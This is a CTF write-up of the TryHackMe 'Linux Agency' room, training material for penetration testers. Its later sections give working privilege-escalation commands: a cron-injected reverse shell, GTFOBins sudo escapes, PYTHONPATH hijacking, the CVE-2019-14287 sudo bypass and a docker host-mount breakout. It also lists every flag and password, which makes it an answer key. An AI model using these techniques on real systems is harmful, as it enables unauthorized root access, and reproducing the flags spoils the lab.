TryHackMe — Linux Agency | Complete Write-Up & Walkthrough
2026-7-17 06:50:44 Author: infosecwriteups.com(查看原文) 阅读量:7 收藏

📋 Room Overview

Platform TryHackMe
Room Name Linux Agency
Link https://tryhackme.com/room/linuxagency
Difficulty Medium
Category Linux Fundamentals + Privilege Escalation
Initial Access SSH (agent47)

🎯 About This Room

Linux Agency is one of the most comprehensive Linux-focused rooms on TryHackMe. You play the role of Agent 47 — a secret agent tasked with infiltrating the ICA Agency, chaining through 30 mission accounts, eliminating special targets, and ultimately achieving root.

This room goes far beyond basic Linux commands — it forces you to think like a real penetration tester. Topics covered:

  • 🐧 Deep Linux fundamentals (hidden files, permissions, environment variables)
  • 💻 Multiple programming languages (Python, Ruby, Java, C)
  • 🔐 Encoding/decoding (Base64, Binary, Hex)
  • 📅 Cron job exploitation
  • ⚡ Sudo privilege escalation via GTFOBins
  • 🐳 Docker privilege escalation
  • 🔑 SSH private key cracking

🛠️ Tools Used

  • ssh, su, find, grep, cat, ls, strings, file
  • base64, xxd
  • gcc, javac, java, python3, ruby
  • netcat (nc)
  • ssh2john + john (John the Ripper)
  • ss (socket statistics)
  • GTFOBins
  • Docker

⚙️ Setup

Start the machine on TryHackMe and wait about a minute. Then connect:

ssh agent47@<MACHINE_IP>

Password: 640509040147

Once connected you’ll see:

agent47@linuxagency:~$

The mission begins. 🚀

🗂️ Task 2: Initial Access

The room’s mechanic is straightforward:

  • Every flag found acts as the password for the next user
  • Flag format: missionX{md5_hash}
  • Chain: agent47 → mission1 → mission2 → ... → mission30 → viktor → ...

🔍 Task 3: Linux Fundamentals (Mission 1–30 + Viktor)

🎯 Mission 1

As agent47, the first task is finding mission1’s flag.

find / -type f -name "*.txt" 2>/dev/null
# Or directly check:
ls /home/mission1/
cat /home/mission1/<flag_file>

Now switch to mission1:

su mission1
# Password: mission1{174dc8f191bcbb161fe25f8a5b58d1f0}

💡 What we learned: find for filesystem-wide searching, understanding the /home directory structure.

🎯 Mission 2

As mission1:

find / -type f -name "mission2" 2>/dev/null
cat <found_path>
su mission2
# Password: mission2{8a1b68bb11e4a35245061656b5b9fa0d}

🎯 Mission 3

# As mission2:
grep -r "mission3" . 2>/dev/null
su mission3
# Password: mission3{ab1e1ae5cba688340825103f70b0f976}

💡 What we learned: grep -r for recursive content searching across directories.

🎯 Mission 4

# As mission3:
cd /home/mission3
ls
cat flag.txt
su mission4
# Password: mission4{264a7eeb920f80b3ee9665fafb7ff92d}

🎯 Missions 5–8

These follow a similar pattern — searching the filesystem:

# As mission4:
grep -r "mission5" / 2>/dev/null
su mission5
# Password: mission5{bc67906710c3a376bcc7bd25978f62c0}
# As mission5:
grep -r "mission6" / 2>/dev/null
su mission6
# Password: mission6{1fa67e1adc244b5c6ea711f0c9675fde}
# As mission6:
grep -r "mission7" / 2>/dev/null
su mission7
# Password: mission7{53fd6b2bad6e85519c7403267225def5}
# As mission7:
grep -r "mission8" / 2>/dev/null
su mission8
# Password: mission8{3bee25ebda7fe7dc0a9d2f481d10577b}

🎯 Mission 9

# As mission8:
ls
cat flag.txt
su mission9
# Password: mission9{ba1069363d182e1c114bef7521c898f5}

🎯 Missions 10–11

# As mission9:
grep -r "mission10" / 2>/dev/null
su mission10
# Password: mission10{0c9d1c7c5683a1a29b05bb67856524b6}
# As mission10:
grep -r "mission11" / 2>/dev/null
su mission11
# Password: mission11{db074d9b68f06246944b991d433180c0}

🎯 Mission 12 — Environment Variable

This time the flag is hidden inside an environment variable, not a file!

# As mission11:
env | grep mission12
su mission12
# Password: mission12{f449a1d33d6edc327354635967f9a720}

💡 What we learned: The env command lists all environment variables. In real-world pentesting, environment variables frequently contain credentials, API keys, and sensitive data — always check them!

🎯 Mission 13 — File Permissions

# As mission12:
ls -la /home/mission12/
# flag.txt exists but you have no read permission!
chmod 777 /home/mission12/flag.txt
cat /home/mission12/flag.txt
su mission13
# Password: mission13{076124e360406b4c98ecefddd13ddb1f}

💡 What we learned: Linux file permissions and chmod. Always use ls -la — the -a flag reveals hidden files and the -l flag shows permissions clearly.

🎯 Mission 14 — Base64 Decode

# As mission13:
cat /home/mission13/flag.txt | base64 -d
su mission14
# Password: mission14{d598de95639514b9941507617b9e54d2}

💡 What we learned: Base64 encoding/decoding. Strings ending with = or == are almost always Base64-encoded. The base64 -d flag decodes them directly in the terminal.

🎯 Mission 15 — Binary → ASCII

# As mission14:
cat /home/mission14/flag.txt
# You'll see binary digits: 01101101 01101001 ...

Convert the binary to ASCII using Python:

python3 -c "
binary = '01101101 01101001 01110011 01110011 01101001 01101111 01101110 00110001 00110101'
chars = binary.split()
result = ''.join([chr(int(b, 2)) for b in chars])
print(result)
"

Or use an online tool: https://www.rapidtables.com/convert/number/binary-to-ascii.html

su mission15
# Password: mission15{fc4915d818bfaeff01185c3547f25596}

💡 What we learned: Binary → ASCII conversion. Recognizing encoding formats on sight is a key CTF skill.

🎯 Mission 16 — Hex → ASCII

# As mission15:
cat /home/mission15/flag.txt | xxd -r -p

xxd -r -p converts a raw hex string directly back to ASCII.

su mission16
# Password: mission16{884417d40033c4c2091b44d7c26a908e}

💡 What we learned: Hex decoding. xxd dumps hex (-p for plain hex), and with -r it reverses the process.

🎯 Mission 17 — Execute Permission

# As mission16:
ls -la /home/mission16/
# There's a 'flag' binary but it has no execute permission
chmod u+x /home/mission16/flag
./flag
su mission17
# Password: mission17{49f8d1348a1053e221dfe7ff99f5cbf4}

🎯 Mission 18 — Java

# As mission17:
ls /home/mission17/
# flag.java found
cd /home/mission17/
javac flag.java # Compile
java flag # Run
su mission18
# Password: mission18{f09760649986b489cda320ab5f7917e8}

💡 What we learned: Java compilation workflow: javac compiles .java.class, then java runs the class.

🎯 Mission 19 — Ruby

# As mission18:
ruby /home/mission18/flag.rb
su mission19
# Password: mission19{a0bf41f56b3ac622d808f7a4385254b7}

🎯 Mission 20 — C Language

# As mission19:
cd /home/mission19/
gcc flag.c -o flag # Compile
./flag # Run
su mission20
# Password: mission20{b0482f9e90c8ad2421bf4353cd8eae1c}

💡 What we learned: C compilation: gcc source.c -o output_name then ./output_name to execute.

🎯 Mission 21 — Python

# As mission20:
python3 /home/mission20/flag.py
su mission21
# Password: mission21{7de756aabc528b446f6eb38419318f0c}

🎯 Mission 22 — Restricted Shell Escape (script)

When you log in as mission21, you’re dropped into a restricted shell. Escape using:

script -qc /bin/bash /dev/null

This spawns a full bash shell. Now check .bashrc:

cat ~/.bashrc
# You'll find a Base64-encoded string
echo '<base64_string>' | base64 -d
su mission22
# Password: mission22{24caa74eb0889ed6a2e6984b42d49aaf}

💡 What we learned: Restricted shell escape using the script command, which opens a new terminal session. Always check .bashrc and .bash_profile — attackers hide data there, and defenders do too.

🎯 Mission 23 — Python Interpreter Shell Escape

Logging in as mission22 drops you into a Python REPL. Escape to bash:

import pty
pty.spawn("/bin/bash")

Now read the flag:

cat /home/mission22/flag.txt
su mission23
# Password: mission23{3710b9cb185282e3f61d2fd8b1b4ffea}

💡 What we learned: Python pty.spawn() for shell escape — this is also a standard technique for upgrading dumb reverse shells to fully interactive TTYs in real engagements!

🎯 Mission 24 — Virtual Host + cURL

# As mission23:
cat /home/mission23/message.txt
cat /etc/hosts
# You'll see mission24.com mapped to 127.0.0.1
curl http://mission24.com -s | grep mission
su mission24
# Password: mission24{dbaeb06591a7fd6230407df3a947b89c}

💡 What we learned: Virtual hosting — the /etc/hosts file acts as a local DNS resolver. In real engagements, always check /etc/hosts for internal hostnames that reveal additional attack surface.

🎯 Mission 25 — Binary Analysis + viminfo

# As mission24:
ls /home/mission24/
file bribe # Check the file type
./bribe # Execute it — it writes to .viminfo
grep mission /home/mission24/.viminfo
su mission25
# Password: mission25{61b93637881c87c71f220033b22a921b}

💡 What we learned: The file command identifies file types regardless of extension. .viminfo is a hidden file storing Vim history — always run ls -la to catch hidden files!

🎯 Mission 26 — PATH Manipulation

Logging in as mission25 gives you a broken environment — commands don’t work because $PATH is corrupted.

echo $PATH
# Empty or wrong PATH
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
ls -lhA
cat flag.txt
su mission26
# Password: mission26{cb6ce977c16c57f509e9f8462a120f00}

💡 What we learned: The $PATH environment variable defines where the shell looks for executables. This concept is the foundation of PATH hijacking attacks — one of the most common Linux PrivEsc vectors.

🎯 Mission 27 — Steganography with strings

# As mission26:
ls /home/mission26/
strings -n 20 /home/mission26/flag.jpg

strings extracts human-readable strings from binary files. -n 20 filters results to strings of at least 20 characters.

su mission27
# Password: mission27{444d29b932124a48e7dddc0595788f4d}

💡 What we learned: Basic steganography — data hidden inside image files. strings is a quick first step when analyzing any binary or media file during a CTF or real engagement.

🎯 Mission 28 — Absurdly Long Filename

# As mission27:
ls /home/mission27/
less flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz

Yes, the filename is exactly that long. less handles it fine.

su mission28
# Password: mission28{03556f8ca983ef4dc26d2055aef9770f}

🎯 Mission 29 — Ruby Interpreter + Reverse String

Logging in as mission28 drops you into a Ruby REPL.

Get Shikhali Jamalzade’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Option 1 — Escape to shell:

exec "/bin/bash"

Option 2 — Read the file directly from Ruby:

Dir.chdir("/home/mission28")
puts File.open("txt.galf").readlines

The flag is written in reverse! You’ll see something like:

'}1fff2ad47eb52e68523621b8d50b2918{92noissim'

Reverse it:

'}1fff2ad47eb52e68523621b8d50b2918{92noissim'.reverse
su mission29
# Password: mission29{8192b05d8b12632586e25be74da2fff1}

💡 What we learned: Ruby interpreter escape. String reversal is a common obfuscation technique in CTFs. Also notice the filename txt.galf — that's flag.txt reversed!

🎯 Mission 30 — Bludit CMS Enumeration

# As mission29:
ls /home/mission29/
grep -rn "mission30" /home/mission29/bludit/

The flag is buried inside Bludit CMS’s file structure.

su mission30
# Password: mission30{d25b4c9fac38411d2fcb4796171bda6e}

🎯 Viktor — Git History

# As mission30:
ls /home/mission30/
cd /home/mission30/Escalator/
git --no-pager log

Browse the git commit history — the flag is hidden in there.

su viktor
# Password: viktor{b52c60124c0f8f85fe647021122b3d9a}

💡 What we learned: git log reveals commit history. In real-world pentesting, exposed git repositories are a goldmine — credentials, API keys, and internal logic are frequently committed and never properly removed.

🔓 Task 4: Privilege Escalation

You’re now viktor. The “special targets” phase begins — each user requires a different privilege escalation technique.

🎯 Dalia — Cron Job Exploitation

# As viktor:
cat /etc/crontab

Output:

* * * * * root bash /opt/scripts/47.sh

Root runs /opt/scripts/47.sh every minute. Check the script and your permissions:

cat /opt/scripts/47.sh
ls -la /opt/scripts/47.sh
# You have write access!

Step 1: Create your reverse shell payload:

vim /tmp/eop.sh

Contents:

#!/bin/bash
bash -i >& /dev/tcp/127.0.0.1/9999 0>&1

Step 2: Base64-encode it and overwrite the cron script:

cat /tmp/eop.sh | base64 -w 0
# Copy the output, then:
echo 'IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx' | base64 -d > /opt/scripts/47.sh

Step 3: Set up your listener:

nc -nlvp 9999

Wait up to 60 seconds. The cron job fires and you get a shell as dalia:

# In the received shell:
id
# uid=1000(dalia) ...
cat /home/dalia/flag.txt

Upgrade the shell (important for stability):

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
export SHELL=bash
# Press Ctrl+Z
stty raw -echo; fg

Flag: dalia{4a94a7a7bb4a819a63a33979926c77dc}

💡 What we learned: Cron job exploitation — one of the most common Linux PrivEsc vectors in the wild. The checklist: find writable scripts executed by root → inject reverse shell → wait. Always enumerate /etc/crontab, /etc/cron.d/, and /var/spool/cron/.

🎯 Silvio — sudo + zip (GTFOBins)

# As dalia:
sudo -l
# (dalia) NOPASSWD: /usr/bin/zip as silvio

From GTFOBins — zip sudo escape:

TF=$(mktemp -u)
sudo -u silvio zip $TF /etc/hosts -T -TT 'sh #'
id
# uid=... (silvio)
cat /home/silvio/flag.txt

Flag: silvio{657b4d058c03ab9988875bc937f9c2ef}

💡 What we learned: GTFOBins — the essential reference for abusing binaries with sudo, SUID, or capabilities. When you see sudo -l, immediately cross-reference every allowed binary against GTFOBins.

🎯 Reza — sudo + git (GTFOBins)

# As silvio:
sudo -l
# (silvio) NOPASSWD: /usr/bin/git as reza

GTFOBins git sudo escape (uses PAGER environment variable):

sudo -u reza PAGER='sh -c "exec sh 0<&1"' git -p help
id
# uid=... (reza)
cat /home/reza/flag.txt

Flag: reza{2f1901644eda75306f3142d837b80d3e}

💡 What we learned: Git’s --paginate (-p) feature invokes a pager, and by hijacking the PAGER env variable we execute arbitrary commands. Many programs that invoke external processes are susceptible to this pattern.

🎯 Jordan — PYTHONPATH Hijacking

# As reza:
sudo -l
# (reza) NOPASSWD: /opt/scripts/Gun-Shop.py as jordan

Run the script:

sudo -u jordan /opt/scripts/Gun-Shop.py
# Error: No module named 'shop'

The script imports a module called shop which doesn't exist. We can create it in a directory we control:

Step 1: Create a malicious shop module:

mkdir -p /tmp/shop
echo 'import os; os.system("/bin/bash")' > /tmp/shop/shop.py

Step 2: Override PYTHONPATH so Python finds our module first:

sudo -u jordan PYTHONPATH=/tmp/shop/ /opt/scripts/Gun-Shop.py
id
# uid=... (jordan)
cat /home/jordan/flag.txt

Flag: jordan{fcbc4b3c31c9b58289b3946978f9e3c3}

💡 What we learned: Python module hijacking — a real-world PrivEsc technique. PYTHONPATH tells Python where to search for modules before the standard library paths. If an attacker controls a directory early in that path, they can substitute any module with malicious code.

🎯 Ken — sudo + less (GTFOBins)

# As jordan:
sudo -l
# (jordan) NOPASSWD: /usr/bin/less as ken
sudo -u ken /usr/bin/less /etc/profile

Once less opens, type ! followed by:

!/bin/sh

Press Enter — you drop into a shell as ken.

id
cat /home/ken/flag.txt

Flag: ken{4115bf456d1aaf012ed4550c418ba99f}

🎯 Sean — sudo + vim (GTFOBins)

# As ken:
sudo -l
# (ken) NOPASSWD: /usr/bin/vim as sean
sudo -u sean vim -c ':!/bin/sh'

The -c flag runs a Vim command on startup. :!/bin/sh executes a shell command from within Vim.

id
cat /home/sean/flag.txt

Flag: sean{4c5685f4db7966a43cf8e95859801281}

💡 What we learned: Vim is far more than a text editor — it can execute shell commands, run scripts, and spawn processes. Granting sudo vim to any user is effectively granting root.

🎯 Penelope — Password Hidden in Base64

# As sean:
printf %s 'VGhlIHBhc3N3b3JkIG9mIHBlbmVsb3BlIGlzIHAzbmVsb3BlCg==' | base64 -d
# Output: "The password of penelope is p3nelope"
su penelope
# Password: p3nelope
cat /home/penelope/flag.txt

Flag: penelope{2da1c2e9d2bd0004556ae9e107c1d222}

🎯 Maya — SUID base64 (GTFOBins)

# As penelope:
ls -lhA /home/penelope/
# A 'base64' binary with the SUID bit set!

GTFOBins SUID base64 exploit — read files as the binary’s owner:

LFILE=/home/maya/flag.txt
./base64 "$LFILE" | base64 -d

Flag: maya{a66e159374b98f64f89f7c8d458ebb2b}

💡 What we learned: SUID (Set User ID) — when set on a binary, it executes with the file owner’s privileges rather than the caller’s. Find SUID binaries with: find / -perm -4000 2>/dev/null. Cross-reference every result with GTFOBins.

🎯 Robert — SSH Private Key Cracking

# As maya:
ls -lhA /home/maya/
ls -lhA /home/maya/old_robert_ssh/
# id_rsa and id_rsa.pub found

Step 1: Copy the private key to your local machine (new terminal tab):

scp maya@<IP>:/home/maya/old_robert_ssh/id_rsa ./id_rsa_robert
chmod 600 id_rsa_robert

Step 2: Convert the key to a crackable hash:

ssh2john id_rsa_robert > robert_ssh_hash.txt

Step 3: Crack it with John the Ripper:

john robert_ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Result: industryweapon

Step 4: Find Robert’s SSH port on the target:

# On the target machine:
ss -nlpt | grep 22
# Port 2222 is listening

Step 5: Connect:

ssh [email protected] -p 2222 -i id_rsa_robert
# Passphrase: industryweapon
cat /home/robert/user.txt

Flag (user.txt): user{620fb94d32470e1e9dcf8926481efc96}

💡 What we learned: SSH private key cracking — ssh2john extracts the hash, john cracks it. In real engagements, always look for id_rsa files in home directories, backup folders, and .ssh/ directories. Encrypted keys with weak passphrases are a common finding.

👑 Root — Two-Stage Escalation

Stage 1: CVE-2019–14287 (Sudo User ID Bypass)

# As robert:
sudo --version
# Reveals a vulnerable version (< 1.8.28)
sudo -u#-1 /bin/bash
whoami
# root!

How it works: This is CVE-2019–14287. When a sudoers rule allows a user to run commands as any user, passing -u#-1 causes sudo to interpret the user ID as 0 (root) due to an integer overflow in how sudo handles negative UIDs. Patched in sudo 1.8.28.

cd /root
ls

Stage 2: Docker Group → Root (root.txt)

# As root (inside the container/restricted environment):
id
# You're in the docker group
find / -name docker 2>/dev/null
# Found at /tmp/docker or similar
./docker ps -a
./docker image ls
# "mangoman" image exists

Mount the host filesystem into a container and chroot into it:

./docker run -v /:/mnt --rm -it mangoman chroot /mnt sh
id
# uid=0(root) gid=0(root) — TRUE host root
cat /root/root.txt

Flag (root.txt): root{62ca2110ce7df377872dd9f0797f8476}

💡 What we learned: Docker group membership is equivalent to root access. -v /:/mnt mounts the entire host filesystem into the container, and chroot /mnt makes the container treat the host filesystem as its root. This is a well-documented container escape — never add untrusted users to the docker group.

🏆 Flags Summary

User Technique Category mission1–11 find / grep / cat Basic enumeration mission12 env Environment variables mission13 chmod File permissions mission14 base64 -d Encoding mission15 Binary → ASCII Encoding mission16 xxd -r -p (Hex) Encoding mission17 chmod u+x Execute permissions mission18 javac + java Java compilation mission19 ruby Scripting mission20 gcc C compilation mission21 python3 Scripting mission22 script -qc Restricted shell escape mission23 pty.spawn() Python interpreter escape mission24 curl + /etc/hosts Virtual hosting mission25 strings + .viminfo Binary analysis mission26 export PATH PATH manipulation mission27 strings on image Steganography mission28 less Long filename edge case mission29 exec in Ruby + .reverse Ruby escape + obfuscation mission30 grep -r in CMS File enumeration viktor git log Git history dalia Writable cron script Cron job exploitation silvio sudo zip GTFOBins reza sudo git + PAGER GTFOBins jordan PYTHONPATH hijack Module hijacking ken sudo less + ! GTFOBins sean sudo vim -c GTFOBins penelope Base64 password Encoded credentials maya SUID base64 SUID exploitation robert ssh2john + john SSH key cracking root (user.txt) sudo -u#-1 CVE-2019-14287 root (root.txt) docker run -v /:/mnt Docker breakout

🧠 Key Takeaways

Linux Fundamentals:

  • ls -la always — hidden files, permissions at a glance
  • find and grep -r for wide enumeration
  • env for environment variable inspection
  • file to identify file types regardless of extension
  • strings to extract readable data from binaries

Encoding & Decoding:

  • Base64 (base64 -d), Hex (xxd -r -p), Binary (Python one-liner)
  • Reversed strings — check file content and filenames alike

Scripting Languages:

  • Python: pty.spawn("/bin/bash") for shell upgrade
  • Ruby: exec "/bin/bash" or Dir/File for file ops
  • Java: javacjava, C: gcc./binary

Privilege Escalation Checklist:

  1. sudo -l → GTFOBins
  2. find / -perm -4000 2>/dev/null → SUID binaries → GTFOBins
  3. cat /etc/crontab + ls /etc/cron.d/ → writable scripts run by root
  4. id → check group memberships (docker!)
  5. Check $PATH, env variables, writable directories in PATH

💬 Final Thoughts

Linux Agency is not just a CTF room — it’s a condensed simulation of a real lateral movement and privilege escalation engagement. The 30-user chain forces you to internalize Linux enumeration as a reflex, not a checklist. The privilege escalation phase covers more ground than most dedicated PrivEsc rooms.

If you’re preparing for OSCP, CPTS or any practical security certification, this room belongs in your training regimen. Do it without hints first, refer to this write-up only when truly stuck — the struggle is where the learning happens.

Happy Hacking! 🐧

Tags: #TryHackMe #CTF #LinuxAgency #PrivilegeEscalation #Linux #Pentesting #CyberSecurity #OSCP #GTFOBins #WriteUp

If you found this useful, feel free to connect on LinkedIn or check out my tools on GitHub.


文章来源: https://infosecwriteups.com/tryhackme-linux-agency-complete-write-up-walkthrough-82a20bd23d67?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh